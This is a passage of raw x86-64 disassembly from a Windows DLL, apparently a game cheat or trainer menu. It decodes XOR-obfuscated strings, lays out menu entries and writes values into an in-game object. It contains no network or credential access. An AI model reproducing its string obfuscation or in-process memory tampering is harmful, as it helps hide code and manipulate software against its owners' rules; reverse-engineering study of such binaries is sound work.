comiss xmm4, xmm10
movss dword [rbp + 0x2e04], xmm5
movss dword [rbp + 0x2e00], xmm3
jb 0x18009de0a
comiss xmm6, xmm10
jb 0x18009de0a
comiss xmm3, xmm10
jb 0x18009de0a
comiss xmm5, xmm10
jb 0x18009de0a
comiss xmm4, xmm14
jb 0x18009de0a
comiss xmm6, xmm14
jb 0x18009de0a
movss xmm1, dword [rbx]
comiss xmm1, xmm4
jb 0x18009de0a
movss xmm0, dword [rbx + 4]
comiss xmm0, xmm6
jb 0x18009de0a
comiss xmm3, xmm14
jb 0x18009de0a
comiss xmm5, xmm14
jb 0x18009de0a
comiss xmm1, xmm3
jb 0x18009de0a
comiss xmm0, xmm5
jb 0x18009de0a
call fcn.1800164a0
movdqa xmm0, xmmword [0x1801badd0]
lea rcx, [rbp + 0x1d20]
movups xmmword [rbp + 0x1d20], xmm0
mov rbx, rax
call fcn.180012540
movss xmm0, dword [0x1801a17c4]
lea r8, [rbp + 0x2e00]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x2df8]
mov rcx, rbx
call fcn.18002d3d0
mov rbx, qword [0x18023ffb8]
mov r14, qword [0x18023ff70]
movss xmm7, dword [0x1801baa40]
inc edi
movss xmm11, dword [0x1801a17f0]
cmp edi, 0x24
jl 0x18009da60
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xae8]
addss xmm0, dword [0x1801baad8]
mov dword [rbp + 0xae8], 0x44070000
movss dword [rbp + 0xaec], xmm0
call fcn.1800255f0
movdqa xmm14, xmmword [0x1801bac50]
jmp 0x18009de8a
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0xae8]
addss xmm0, xmm9
mov dword [rbp + 0xae8], 0x44070000
movss dword [rbp + 0xaec], xmm0
call fcn.1800255f0
mov eax, dword [0x1801b81dc]
lea rdx, [rbp + 0xaf0]
mov dword [rbp + 0x2a0], eax
lea rcx, [rbp + 0x2a0]
movzx eax, word [0x1801b81e0]
mov r9d, 8
xor byte [rbp + 0x2a1], 0x33
xor r8d, r8d
xor byte [rbp + 0x2a2], 0x34
xor byte [rbp + 0x2a3], 0x35
mov word [rbp + 0x2a4], ax
movzx eax, byte [0x1801b81e2]
xor byte [rbp + 0x2a4], 0x36
xor al, 0x38
xor byte [rbp + 0x2a5], 0x37
mov byte [rbp + 0x2a6], al
mov dword [rbp + 0xaf4], 0x4405c000
mov dword [rbp + 0xaf0], 0x43a00000
mov byte [rbp + 0x2a0], Ordinal_79
call fcn.18000fbb0
lea rcx, [rbp + 0xaf8]
call fcn.180016730
cmp byte [0x1801b81f1], sil
movsd xmm0, qword [str.tFZVBWWI_]
movzx eax, word [0x1801b81f0]
movsd qword [rbp + 0x1030], xmm0
mov word [rbp + 0x1038], ax
mov dword [rbp + 0xb00], 0x43a00000
mov dword [rbp + 0xb04], 0x43ed8000
je 0x18009df9a
xor byte [rbp + 0x1031], 0x33
xor byte [rbp + 0x1032], 0x34
xor byte [rbp + 0x1033], 0x35
xor byte [rbp + 0x1034], 0x36
xor byte [rbp + 0x1035], 0x37
xor byte [rbp + 0x1036], 0x38
xor byte [rbp + 0x1037], 0x39
xor byte [rbp + 0x1038], 0x3a
xor byte [rbp + 0x1039], 0x3b
mov byte [rbp + 0x1030], 0x46
xor r9d, r9d
lea rdx, [rbp + 0xb00]
mov r8b, 1
lea rcx, [rbp + 0x1030]
call fcn.180003bf0
lea rcx, [rbp + 0xb08]
call fcn.180016730
lea rdx, [rbp + 0xb10]
lea rcx, [rbp + 0xda0]
movss xmm0, dword [rax]
movzx eax, byte [0x1801b8200]
movss dword [rbp + 0xb10], xmm0
xor al, 0x3a
movsd xmm0, qword [str.fVXPFXJM:]
movsd qword [rbp + 0xda0], xmm0
xor byte [rbp + 0xda1], 0x33
xor byte [rbp + 0xda2], 0x34
xor byte [rbp + 0xda3], 0x35
xor byte [rbp + 0xda4], 0x36
xor byte [rbp + 0xda5], 0x37
xor byte [rbp + 0xda6], 0x38
xor byte [rbp + 0xda7], 0x39
mov byte [rbp + 0xda0], 0x54
mov dword [rbp + 0xb14], 0x42200000
mov byte [rbp + 0xda8], al
call fcn.180002b60
test al, al
je 0x18009e0b2
mov r8, qword [0x18023d4d0]
test r8, r8
je 0x18009e0b2
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x18009e0b2
movsd xmm0, qword [rdx + 0x90]
mov rcx, r8
movss xmm3, dword [rdx + 0x98]
movaps xmm2, xmm0
mov dword [rsp + 0x30], esi
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
movsd qword [rsp + 0x60], xmm0
call qword [0x1802400e0]
call fcn.180016870
movss xmm15, dword [0x1801a17d4]
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb18]
call fcn.180016730
movdqa xmm6, xmmword [0x1801bab60]
mov r8d, esi
movdqa xmm12, xmmword [0x1801bab80]
movdqa xmm11, xmmword [0x1801babe0]
movss xmm0, dword [rax]
mov eax, dword [0x1801b8210]
movdqa xmm9, xmmword [rbp + 0x1de0]
movdqa xmm13, xmmword [0x1801bab70]
mov dword [rbp + 0x1bd8], eax
movzx eax, word [0x1801b8214]
mov word [rbp + 0x1bdc], ax
movzx eax, byte [0x1801b8216]
movss dword [rbp + 0xb20], xmm0
movsd xmm0, qword [0x1801b8208]
mov byte [rbp + 0x1bde], al
mov dword [rbp + 0xb24], 0x42200000
movsd qword [rbp + 0x1bd0], xmm0
cmp r12d, 2
jl 0x18009e23a
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8208]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1bd0], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bd4]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bd4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bd0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009e250
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0x1bd0]
call fcn.180002b60
test al, al
je 0x18009e305
mov r8, qword [0x18023d4d0]
test r8, r8
je 0x18009e305
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x18009e305
movsd xmm0, qword [r8 + 0x90]
movss xmm3, dword [r8 + 0x98]
movaps xmm2, xmm0
mov dword [rsp + 0x30], esi
movaps xmm1, xmm0
shufps xmm2, xmm2, 0x55
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 1
movsd qword [rsp + 0x60], xmm0
call qword [0x1802400e0]
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
movdqa xmm1, xmmword [0x1801bab50]
xorps xmm0, xmm0
mov edx, dword [0x18023c1d8]
movups xmmword [rbp + 0x2eb0], xmm0
mov byte [rbp + 0x2eb0], sil
movdqu xmmword [rbp + 0x2ec0], xmm1
cmp edx, 0xffffffff
jne 0x18009e3e3
cmp byte [0x1801b8221], sil
movsd xmm0, qword [str.qZQCTLVH_]
movzx eax, word [0x1801b8220]
movsd qword [rbp + 0xfc0], xmm0
mov word [rbp + 0xfc8], ax
je 0x18009e3b1
xor byte [rbp + 0xfc1], 0x33
xor byte [rbp + 0xfc2], 0x34
xor byte [rbp + 0xfc3], 0x35
xor byte [rbp + 0xfc4], 0x36
xor byte [rbp + 0xfc5], 0x37
xor byte [rbp + 0xfc6], 0x38
xor byte [rbp + 0xfc7], 0x39
xor byte [rbp + 0xfc8], 0x3a
xor byte [rbp + 0xfc9], 0x3b
mov byte [rbp + 0xfc0], 0x43
mov r13, 0xffffffffffffffff
lea rax, [rbp + 0xfc0]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x18009e3c2
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x2eb0]
call fcn.18000aa40
jmp 0x18009e4a2
inc edx
lea rcx, [rbp + 0x2780]
call fcn.1800ded80
cmp byte [0x1801b8231], sil
movsd xmm0, qword [str.bRGFWP_K]
movzx ecx, word [0x1801b8230]
movsd qword [rbp + 0xfd0], xmm0
mov word [rbp + 0xfd8], cx
je 0x18009e45e
xor byte [rbp + 0xfd1], 0x33
xor byte [rbp + 0xfd2], 0x34
xor byte [rbp + 0xfd3], 0x35
xor byte [rbp + 0xfd4], 0x36
xor byte [rbp + 0xfd5], 0x37
xor byte [rbp + 0xfd6], 0x38
xor byte [rbp + 0xfd7], 0x39
xor byte [rbp + 0xfd8], 0x3a
xor byte [rbp + 0xfd9], 0x3b
mov byte [rbp + 0xfd0], 0x50
mov r8, rax
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x27a0]
call fcn.180054640
mov rdx, rax
lea rcx, [rbp + 0x2eb0]
call fcn.1800693b0
lea rcx, [rbp + 0x27a0]
call fcn.180068b30
lea rcx, [rbp + 0x2780]
call fcn.180068b30
mov r13, 0xffffffffffffffff
cmp qword [rbp + 0x2ec8], 0xf
lea rcx, [rbp + 0x2eb0]
movzx eax, word [0x1801b8240]
movsd xmm0, qword [str.aVUA]
mov word [rbp + 0x11c8], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp + 0x11c0], xmm0
jbe 0x18009e4df
mov rcx, qword [rbp + 0x2eb0]
xor byte [rbp + 0x11c1], 0x33
lea rdx, [0x18023c1d8]
xor byte [rbp + 0x11c2], 0x34
xor al, 0x3c
xor byte [rbp + 0x11c3], 0x35
mov r9d, 2
xor byte [rbp + 0x11c4], 0x36
mov r8d, r13d
xor byte [rbp + 0x11c5], 0x37
xor byte [rbp + 0x11c6], 0x38
xor byte [rbp + 0x11c7], 0x39
xor byte [rbp + 0x11c8], 0x3a
xor byte [rbp + 0x11c9], 0x3b
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x11c0]
mov byte [rbp + 0x11c0], 0x53
mov byte [rbp + 0x11ca], al
call fcn.180008db0
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb28]
call fcn.180016730
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x78]
movss xmm0, dword [rax]
mov eax, dword [str.eRFE6]
mov dword [rbp + 0x78], eax
movzx eax, byte [0x1801b8248]
xor byte [rbp + 0x79], 0x33
xor al, 0x36
xor byte [rbp + 0x7a], 0x34
xor byte [rbp + 0x7b], 0x35
mov byte [rbp + 0x7c], al
movss dword [rbp + 0xb30], xmm0
mov dword [rbp + 0xb34], 0x42200000
mov byte [rbp + 0x78], 0x57
call fcn.180002b60
test al, al
je 0x18009e5fd
cmp qword [0x18023d4d0], rsi
je 0x18009e5fd
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdx, qword [rcx + rax]
test rdx, rdx
je 0x18009e5fd
mov qword [0x18023c1d0], rdx
mov byte [0x18023c1c1], 1
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb38]
call fcn.180016730
movzx ecx, word [0x1801b8250]
lea rdx, [rbp + 0xb40]
movss xmm0, dword [rax]
mov eax, dword [str.g_XZU8]
mov dword [rbp + 0x2a8], eax
movzx eax, byte [0x1801b8252]
xor byte [rbp + 0x2a9], 0x33
xor al, 0x38
xor byte [rbp + 0x2aa], 0x34
xor byte [rbp + 0x2ab], 0x35
mov word [rbp + 0x2ac], cx
xor cl, 0x36
xor byte [rbp + 0x2ad], 0x37
mov byte [rbp + 0x2ac], cl
lea rcx, [rbp + 0x2a8]
mov byte [rbp + 0x2ae], al
movss dword [rbp + 0xb40], xmm0
mov dword [rbp + 0xb44], 0x42200000
mov byte [rbp + 0x2a8], 0x55
call fcn.180002b60
test al, al
je 0x18009e6f3
cmp qword [0x18023d4d0], rsi
je 0x18009e6f3
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009e6f3
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x180240050]
mov dword [rdi + rax], 1
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb48]
call fcn.180016730
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xa8]
movss xmm0, dword [rax]
mov eax, dword [str.W6]
mov dword [rbp + 0xa8], eax
movzx eax, byte [0x1801b8258]
xor byte [rbp + 0xa9], 0x33
xor al, 0x36
xor byte [rbp + 0xaa], 0x34
xor byte [rbp + 0xab], 0x35
mov byte [rbp + 0xac], al
movss dword [rbp + 0xb50], xmm0
mov dword [rbp + 0xb54], 0x42200000
mov byte [rbp + 0xa8], Ordinal_79
call fcn.180002b60
test al, al
je 0x18009e7cb
cmp qword [0x18023d4d0], rsi
je 0x18009e7cb
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009e7cb
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x180240050]
mov dword [rdi + rax], 2
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb58]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b8268]
mov dword [rbp + 0x1be8], eax
movzx eax, word [0x1801b826c]
mov word [rbp + 0x1bec], ax
movzx eax, byte [0x1801b826e]
movss dword [rbp + 0xb60], xmm0
movsd xmm0, qword [0x1801b8260]
mov byte [rbp + 0x1bee], al
mov dword [rbp + 0xb64], 0x42200000
movsd qword [rbp + 0x1be0], xmm0
cmp r12d, 2
jl 0x18009e91e
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8260]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1be0], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1be4]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1be4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1be0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009e930
lea rdx, [rbp + 0xb60]
lea rcx, [rbp + 0x1be0]
call fcn.180002b60
test al, al
je 0x18009e9d3
cmp qword [0x18023d4d0], rsi
je 0x18009e9d3
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009e9d3
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023ff30]
cmp byte [rax], 0x48
jne 0x18009e9d3
mov rcx, rdi
call rax
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb68]
call fcn.180016730
cmp byte [0x1801b827b], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b8278]
movss dword [rbp + 0xb70], xmm0
movsd xmm0, qword [str.aGQTZ]
movsd qword [rbp + 0x1630], xmm0
mov dword [rbp + 0xb74], 0x42200000
mov dword [rbp + 0x1638], eax
je 0x18009eb60
mov r8d, esi
cmp r12d, 2
jl 0x18009eb18
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.aGQTZ]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1630], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1634]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1634], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1630]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009eb30
lea rdx, [rbp + 0xb70]
lea rcx, [rbp + 0x1630]
call fcn.180002b60
test al, al
je 0x18009ebe3
cmp qword [0x18023d4d0], rsi
je 0x18009ebe3
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rcx, qword [rcx + rax]
test rcx, rcx
je 0x18009ebe3
mov rcx, qword [rcx + 0x48]
mov rax, qword [0x18023ff00]
mov rcx, qword [rcx + 0x20]
call rax
mov rdx, qword [0x18023d4d0]
mov rcx, qword [0x18023ffe0]
mov rcx, qword [rcx + rdx]
test rcx, rcx
je 0x18009ebe3
mov rcx, qword [rcx + 0x48]
mov rdx, rax
mov rcx, qword [rcx + 0x20]
call qword [0x18023ff10]
call fcn.180016870
addss xmm0, xmm15
call fcn.180025690
lea rcx, [rbp + 0xb78]
call fcn.180016730
cmp byte [0x1801b8291], sil
movups xmm1, xmmword [str.wKDYYS_]
movss xmm0, dword [rax]
movzx eax, word [0x1801b8290]
mov word [rbp + 0x2110], ax
movss dword [rbp + 0xb80], xmm0
mov dword [rbp + 0xb84], 0x42200000
movups xmmword [rbp + 0x2100], xmm1
je 0x18009ed90
mov r8d, esi
cmp r12d, 2
jl 0x18009ed51
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2104]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009ec60
cmp r8d, 0x12
jge 0x18009ed90
movsxd rax, r8d
lea r9, [rbp + 0x2100]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18009ed60
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0x2100]
call fcn.180002b60
test al, al
je 0x18009f27a
cmp qword [0x18023d4d0], rsi
je 0x18009f27a
mov rax, qword [0x18023ff68]
mov rcx, qword [rax]
mov eax, dword [0x18023d95c]
shl eax, 4
mov rdx, qword [rcx + 0x10]
movsxd rcx, eax
mov rax, qword [rdx + 0x180]
mov rdi, qword [rcx + rax]
test rdi, rdi
je 0x18009f27a
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009ee6c
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
lea r14, [0x18023d940]
mov rcx, r14
mov byte [rsp + 0x20], sil
mov r9b, 1
mov rdx, rdi
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
movss xmm7, dword [0x1801a7f44]
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
xor edx, edx
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009eea2
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
movss xmm7, dword [0x1801a7f44]
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
xor edx, edx
call rbx
lea r14, [0x18023d940]
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009ef1c
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r14
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 1
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009ef46
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 1
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009efc0
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r14
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 2
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009efea
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 2
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009f064
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r14
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 3
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009f08e
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 3
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009f108
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r14
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 4
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009f132
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 4
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [rdi + 0xd0], rsi
je 0x18009f1ac
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r14
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 5
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r14
call fcn.1800dc680
jmp 0x18009f1d6
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm7
xor r8d, r8d
mov edx, 5
